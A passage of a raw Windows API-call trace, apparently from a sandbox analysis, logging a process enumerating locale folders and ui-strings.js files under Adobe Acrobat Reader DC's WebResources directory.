ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0249.648] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.648] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.649] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.649] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0249.649] GetProcessHeap () returned 0xc10000 [0249.649] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.649] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0249.649] GetProcessHeap () returned 0xc10000 [0249.649] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0249.651] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.651] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.651] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.651] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0249.651] GetProcessHeap () returned 0xc10000 [0249.651] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.651] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0249.651] GetProcessHeap () returned 0xc10000 [0249.651] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.653] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.653] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.653] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.653] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.653] GetProcessHeap () returned 0xc10000 [0249.653] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.653] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0249.653] GetProcessHeap () returned 0xc10000 [0249.654] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0249.655] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.655] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.655] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.656] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0249.656] GetProcessHeap () returned 0xc10000 [0249.656] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.656] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0249.656] GetProcessHeap () returned 0xc10000 [0249.656] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.657] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.657] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.657] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.657] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.657] GetProcessHeap () returned 0xc10000 [0249.657] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.657] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0249.657] GetProcessHeap () returned 0xc10000 [0249.657] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0249.659] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.659] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.659] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.659] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0249.659] GetProcessHeap () returned 0xc10000 [0249.659] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.659] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0249.659] GetProcessHeap () returned 0xc10000 [0249.659] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.660] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.660] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.660] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.660] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.661] GetProcessHeap () returned 0xc10000 [0249.661] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.661] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0249.661] GetProcessHeap () returned 0xc10000 [0249.661] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.662] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.662] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.662] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.663] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.663] GetProcessHeap () returned 0xc10000 [0249.663] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.663] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0249.663] GetProcessHeap 